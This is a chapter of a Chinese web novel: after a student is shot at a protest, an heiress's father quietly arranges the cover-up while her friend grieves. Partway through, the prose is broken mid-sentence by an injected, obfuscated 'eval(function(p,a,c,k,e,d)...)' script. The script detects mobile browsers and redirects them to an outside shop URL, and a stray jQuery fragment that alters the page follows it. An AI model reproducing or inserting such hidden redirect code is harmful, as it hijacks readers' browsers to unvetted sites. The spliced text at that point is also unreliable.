上次话说到何在真和学校的老师谭培文的恩怨纠葛,一朝事发,学生和老师在寿春园里闹了一场;两厢仇怨,谭培文躲到城里等火冷成灰。不想公冶则阳对何在真格外上心,撩动在真相思。则阳先是在谭培文事件中温言安慰何在真,和她同声相和;再是在寿春园学生饯别宴会上为她解围。不是公冶则阳把定何在真到手掌心,有分教:看沉寂多年的寿春园再乱一池黑水,多少风流往事,付与人说长论短。
“小姐,死人了!在真小姐的朋友崔直死了。”
弄晴跑进藏春馆,不管公冶华月正在吹箫,又急忙道:“小姐,崔直——在真小姐的那个同学,死了······”她兀自说了一遍,忽然疑惑起来,又说:“好像是她。怎么会是她呢?怎么会有人死呢?”。
公冶华月吹的是一首五代流传下来的曲子,花间靡乱之中,别样凄清的《大墙上蒿行》——乐人按魏文帝的同名诗歌倚词填歌而来的曲子。弄晴着急忙慌地进来,见公冶华月一顿,却又呜呜咽咽地吹起来。
顷刻,一曲完了,公冶华月问:“你在那边听了些什么?”
弄晴原本在屋里待着,听见学生们回来了,却没有出门时的高兴,好奇着去了何在真房里,听她们说的“崔直死了”、“人都扣在医院里”、“明天必须离开芙蓉城”,原原本本地告诉了公冶华月。又问道:“小姐,这怎么办?白天出门的时候好好的,怎么弄成了这个样子?”她想着许文说的“自己人却打起自己人来了,这是什么天理?他们还敢开枪!北平的都没见谁敢下令开枪!在这儿倒英勇起来了。”心里害怕惶恐,第一次知道宁静的芙蓉城也会流下滚烫鲜艳的血,并且不在深宅里的阴谋算计之间,而是响亮的一声热兵器。
公冶华月站起身来,脸上依然淡淡的,手里握着那把紫竹萧,问道:“在真来这儿多久了?”
弄晴一听,不明所以,问道:“小姐问这个做什么?在真小姐是三月春寒的时候来的,到现在荷花开遍,七月中旬时候,已经四个月了。”
半晌,公冶华月笑了笑,念道:“四个月了——”
四个月,春去夏来,还迎不到秋天,一个不尴尬的时间。两个人的情谊培养得正好,所有细微的品德、癖好,正好展示给了对方,一面又没有太多不可调和的龃龉,是两厢退让便可以掩盖一切龌龊的时候。却又不到纠缠难分的地步,是镰刀一挥,痛一阵就过去的程度。可公冶华月对何在真,是以小时候在母亲的怀里突然被她塞一颗酸甜的糖葫芦为记忆点的——那是一个好像飘在海上的大船抛出的锚点一般的存在。
过去永远不会消失,因为她有千年万岁不会腐烂的锚点,不管在那之前有多少岁月,不管之后有多少岁月,人来人往,她的生命的锚点亘古永存。糖霜之下裹挟的酸涩、痛楚,一如她对母亲的执念般无法忘记,拿尖刀刨刀也无法凿出的存在。
亲人之外,是何在真的身上也保留着一份她母亲的温柔。
公冶华月放下竹萧,走到小榻旁的小高桌那,拨了一个电话。
这个电话向来比起实用性,更具装饰性,似乎是现代文明不可缺失的符号。现代发明的象征人类的才干的电话,确实表明这儿是现代。但它只收听电话,还没被用来往外打过电话。
电话立马通了,公冶华月不语,那边也没有声音。
半晌,公冶华月低声道:“父亲。”
那边立刻响起几声温和的笑,正是公冶应麟。闻言笑道:“华月,怎么了?”
公冶华月听见他充满愉悦的声口,顿时觉得冷气泛到身上,她疑心地低头看了看,并没有莫名出现的蛇,也没有她忽然怀疑的红艳的蛇信子。公冶华月说起被扣在医院里的学生,道:“我听说里面有何姨娘的妹妹的朋友,虽然她还没找到何姨娘那,但只是早晚的问题。人迟早是要放的,还不如早点安排了。”
公冶应麟笑道:“她的妹妹,也是你的朋友吧?既然是你的朋友,那是一定得帮忙的。”
他被许久不见的女儿提要求,即使前阵子忤逆了他的心意,这会儿是不恼的。听她商量求助的语气,让他觉得听到了她母亲的声音。从来没有被求救,隔了十多年,却在和她血缘最密切的女儿身上听见了,他觉得心情大好,仿佛十多年的冰冷间隔都抹去了。那株看似孱弱的娇花终于攀到了他的身上。
公冶应麟问公冶华月该做些什么,听她说:“已经放假了,送她们回去吧。死了的该送去火化,现在那么热,要是运回北方,路上就该坏了。至于开枪的,也不用我说,你们早就想好办法了吧。”
公冶应麟一一应了,末了笑道:“你怎么说‘你们’?我一个本本分分做生意的,也没当什么官。那些人我也许久不和他们见面了,也不知道他们怎么解决。大概明天报纸上就该报道了。”
公冶华月听到,只是淡淡地笑了下。又听公冶应麟道:“傅似逸说上次送给你的礼物不好,弄得你不开心。但看你在气头上,他不好多待的,说怕第一次见面就气坏了你,以后越发不好交朋友了。他还说下次再到寿春园里给你赔礼道歉,你觉得好不好?”
公冶华月听着忽然提起傅似逸,问道:“你想我嫁给他吗?”
公冶应麟一愣,低声道:“你不喜欢他?爸爸怎么舍得你嫁人?你顾姨娘和你奶奶说了好几次要给你做媒,我看你也还没多大,就都给你推了。再者,我看你也还没有这个意思。”说到这儿,他又笑道:“这也是我胡乱说的,你自己觉着呢?有见着中意的吗?不过要是没有喜欢的人,你可以一辈子待在爸爸的身边,我们家里不怕别人说。只是那傅似逸他来我面前说了好几次,人我瞧着倒好,说得上一表人才的,你就见他一面哄他玩吧,再不济也是交个朋友,不然整日待在园子里闷坏了。”
公冶华月看了眼窗边的鹦鹉,那鹦鹉正在打理华丽的羽毛。公冶华月想了一番,说道:“知道了,再见。”然后挂了电话。
公冶应麟那边,见公冶华月挂了电话,嘴角上却仍挂着笑。半晌,他拿过桌面上的一张照片,一张裱在铜色雕花相框里的黑白照片。他睁着眼亲了一下。他亲得很轻,似乎黑白照片里的人活着。
书房外,刘秉忠敲门进来,见着里边黑黢黢的,只亮着桌上的一盏灯,报道:“先生,傅少将、顾老板他们都来了,就等您过去呢。”
公冶应麟起身,笑道:“走吧。”一面将照片倒扣在桌面上。
刘秉忠见他心情极好的样子,多问了句:“他们都等着问先生怎么处理孙超吾呢。”
公冶应麟一面往外走,一面随口道:“他太蠢了。”
刘秉忠听了,笑道:“但他和先生很要好,也听话。往常听着什么风吹草动,他立马来告诉先生的,嘴巴又紧。那么多年下来,从小职员到现在的位置上,不说他自己如何卖力,也不知道费了先生多少精力呢。说起来,他也真是没有功劳也有苦劳。要是没了他,还不知道他手下的人怎么闹呢。”
公冶应麟回头看了他一眼,随即转过头继续往前走,一边笑道:“很好用,但是也容易烫手。蠢货碰着蠢货,真是成事不足败事有余。这回打死几个学生,指不定下回就打死我们了。老刘,这里从来不缺人。”
刘秉忠顶着他冰冷的目光,见他往前走,一面擦额头的汗,一面应道:“先生说得是。他这回是太轻信别人了,几句话就捅出那个大个篓子,这回要是放过他,不知道以后还惹出什么事来呢。我倒多虑多嘴了。”
寿春园里,弄晴急忙到里间拿了件灰绿色的金通圈银缠枝梅绒毛直袖交领衫给公冶华月穿上。她见公冶华月的手细细地打着颤,似乎很冷。人却站得挺拔,好似给一枝冰刃钉在那儿了似的。
弄晴握着她的手臂,忙问道:“小姐,你手上怎么那么冷?刚才还好好的。”
公冶华月拢着衣服,苍白的手搭在灰绿缎子上,似乎也染上了那抹灰色,是一池的清水逐渐变得浑浊的过渡间会有的颜色,里面死了太多飘来的绿叶。她脸上也变得苍白,失了暖玉的光泽似的。又因为穿着那身水红睡衣,衣缘尽是朱红闪光贴里,艳色拥着显得越发太过苍白的脸,越发像氤氲夏夜里的凄凉女鬼。
公冶月华道:“没事,你去对在真她们说吧,叫她们别再担心了。”
弄晴三步一回头地去了。走时,听到廊下的鹦鹉叫道:“小姐,饿了。”回头一看,公冶华月出来把它提进去了。
第二天,学生们结伴离开,进城坐火车回家或上学校去。进城里问车票,有好几个地方当天没有发车的,安排在城里的旅馆暂住。
走前,宋庭芝和许文到何在真的卧室,递给她几百块钱,道:“我们这一去,是再也不会来这儿的了。许文先回家,我送崔直的骨灰回她家里。后面我两再一起南下到学校去。这是刚来时就叫你收下的,毕竟是我们募捐来的钱,也有崔直的心意在里面,还是交给你。不管你到底去不去学校。你要是不去,那便是永远不能再见了。或许十分有缘分的话,能够再见也不一定。你自己千万珍重。”
芙蓉城政府的态度很强硬,学生抗议枪击事件已经解决,再有闹事的学生立即逮捕并革除学籍。昨晚学生们已经热热闹闹地吵了一遍,提出再度抗议者有、互相埋怨的有,闹成一片。宋庭芝已经放弃组织学生抗议。说完,两人抹了眼泪便走了。何在真送她们出去,到涵通院院门边被拦住了。
宋庭芝拦着她道:“别送了,送再远也该分手的。我们三人来时还说要和你一同到西边的联合大学的,谁也没成想先少了崔直。如果能够再见着你,那是最好的。你自己多考虑考虑。”说完拉了许文走了。
何在真握接着那叠钱回里边,一面去看桌上的《芙蓉时报》,上面报道治安局局长孙超吾昨晚畏罪自杀、前不久逮捕的某报社社长吴天赐暴病死于狱中,其余逮捕名单上的人员一律无罪、不再逮捕。
何在真在屋里哭起来。许久,听到外面安静了,擦了眼泪,起身到院外去看。站在涵通楼后门看,那君武苑不再有学生出来;往出路的前面看,也不再有半个人影。竟是人去楼空,好似过去几个月都是大梦一场。
几个月之前,寿春园就这样冷清的。又或者说,除了这几个月,寿春园没有过这样热闹的时候。但一旦热闹过了,一大群人先前笑笑闹闹地在这生活过,便觉得寿春园本该如此,而不是落寞的深深庭院。
这是我们的人生,所有过往的相聚热切都是假的,未来的还没来到的热闹其实同过去的一般在未来的时空里慢慢地逝去。整
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647350|206699||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个生命的热闹注定消逝,余下长得数不清的寂寞。
就在那一刹那间,何在真忽然想起去年冬天在北平上学的日子。某一天,上完下午的课,她和宋庭芝、崔直、许文四人到学校外面逛街。一出校门,便是一条极长的长街,看得到天尽头、看不到路尽头,两边是灰白墙壁,种了一溜的绿槐树,墙上攀了些蔷薇、月季。正是傍晚,天上一床艳丽锦被似的亮着,朱红、朱柿、淡紫,十分有界限地铺在一起。一路上,卖什么的都有,驴打滚、打卤面、糖葫芦、馄饨、烤红薯······她们从校门口直逛出去,走得有些远了,手上拎有糕点、糖水,一面吃着,再掉头往回走。路上总会碰到几个别的朋友,于是把那一条长街来回逛个几遍。她那个时候总觉得这样的时光是过不完的。以至于结束时,她久久不能相信过去的一切是真的。
何在真在那时淡淡地担忧看不见前途的未来,但有崔直几人陪伴,也就不是十分焦虑。等她自己赤手空拳地站在以前所担忧的未来时,才猛然惊觉举目无亲,连呼吸都困难。她常常思念那段已经逝去的时光,如同那段她刚来寿春园时,和公冶华月相处的日子。
何在真此时才忽然发现,这命运多舛的人生真是她的,不是别人的,正是她的。没有人再陪在她的身边,她得自己往前走了。
何在真喃喃念道:“我一个人······一个人往前走,往前走罢。”
吃过午饭,何在真犹豫着要不要到藏春馆去。正在门口踱步,忽然听见院子外有声音高叫:“华月小姐来了。”出门去看,果然见到公冶华月进来,手臂抬着,那鹦鹉发财正站在上面摇头呐喊。弄晴撑着伞跟在后头。
“你怎么过来了?”何在真走上前去,又勉强笑道:“我还想着要不要过去找你。”
公冶华月拉了她的手,叫鹦鹉跳到何在真的手上去站着,笑道:“我得来看看你。你吃过午饭了吗?”
何在真道:“吃了的。”
公冶华月便拉了何在真的手进去,一面说:“事情我都知道了,已经是这个样子,再没有更好的局面了。”
闻言,何在真还没说话,眼泪先扑簌簌地流下来,别过脸去偷偷地擦了,闷声应道:“嗯,我知道的。最后面还是辛苦你出面。”她攥着手道:“我们不知道会是这样。怎么会这样呢?学校刚搬过来的时候和政府那边肯定是谈过了的,校长也经常和那边来往。我们以前也没见过开枪的情况,这次抗议又不算激烈,怎么就这样了?”
弄晴见何在真哭起来,她一向对这些束手无策,连忙出去了。
“没关系,只是和向我父亲说了情况求求情而已。”公冶华月拿了方水红暗纹绉缎汗巾出来,伸手给何在真擦脸,“既然出去做了,想来崔直她们都是知道会面临什么的。只是这次遇着最坏的情况了。这种事,到底不是打包票说无人受伤、必定胜利的。以前没有过,不意味着以后不会发生。最坏的情况就是有人伤亡。全国那么多高校,大小无数的学生抗议运动,总是有伤亡情况的。她们知道,但还是去了。我见了也敬佩得很。”
何在真低了头,脸上的眼泪刚擦去,便又流出来新的,不好意思对着公冶华月直擦脸,因此不去管它。回道:“我在想,我应该去的。怎么刚好我没去,她就出事了。要是我去了,哪怕不跟在她的身边,也许她就不会出事了。我总觉得我该去的。”
公冶华月笑道:“哪来那么多的如果?你是哪方来的菩萨?怎么有你便没有事故了。”
那鹦鹉已经跳到桌面上,听了会儿,蹦跶到何在真的面前,颇有腔调地道:“别哭了,不哭,不哭。”
弄晴在外面听着,笑嘻嘻地进来,劝说道:“在真小姐,你快别哭了。这是我们小姐为了哄你专门教发财说的,你多听听。费了好大的工夫功夫呢。”说着又拿手去碰鹦鹉,叫它多说几句,“发财,你再说,好好哄在真小姐。”
何在真听了,慢慢忍住哭声,抬眼去看公冶华月,倒见她淡淡地笑着。
公冶华月见她不哭了,又道:“哭过就算过了。这一生说长不长,说短不短,又有几个人一辈子相伴在彼此身边的?半路上遇见,只是缘分。或早或晚,人都慢慢地去了。”顿了顿,又低头说:“崔直,她很好,她的一辈子很值得。”
弄晴接过来道:“可不是嘛!只是她们这一走,园子里又冷冷清清的了。怎么一下子人都走了呢?就好像从前没来过似的。我们这个芙蓉城,现在又是怎么样一个芙蓉城呢?”
坐了半晌,公冶华月道:“只是过几天,又有人来拜访。听说他也在里面出了力。”
何在真忍住了眼泪,问道:“是谁?”
“傅似逸,之前来过的,不知道你还记不记得。”公冶华月喝了口茶,又道:“不知道他来做什么。在这里,谁认识他来。。”
弄晴在屋里坐久了,有些无聊,闻言笑道:“上次不是给小姐送礼来?不过送的是一只笨鸟,我看不是很好。这次好容易得着机会,怕是又来送殷勤,想要和小姐交朋友。”
何在真听了也不放在心上,依然念着崔直。她没在现场看着,头尾只是听别人嘴里说,到底不敢相信崔直真的死了。但毕竟现实惨淡,同学老师都急忙忙地走了,不由她不相信。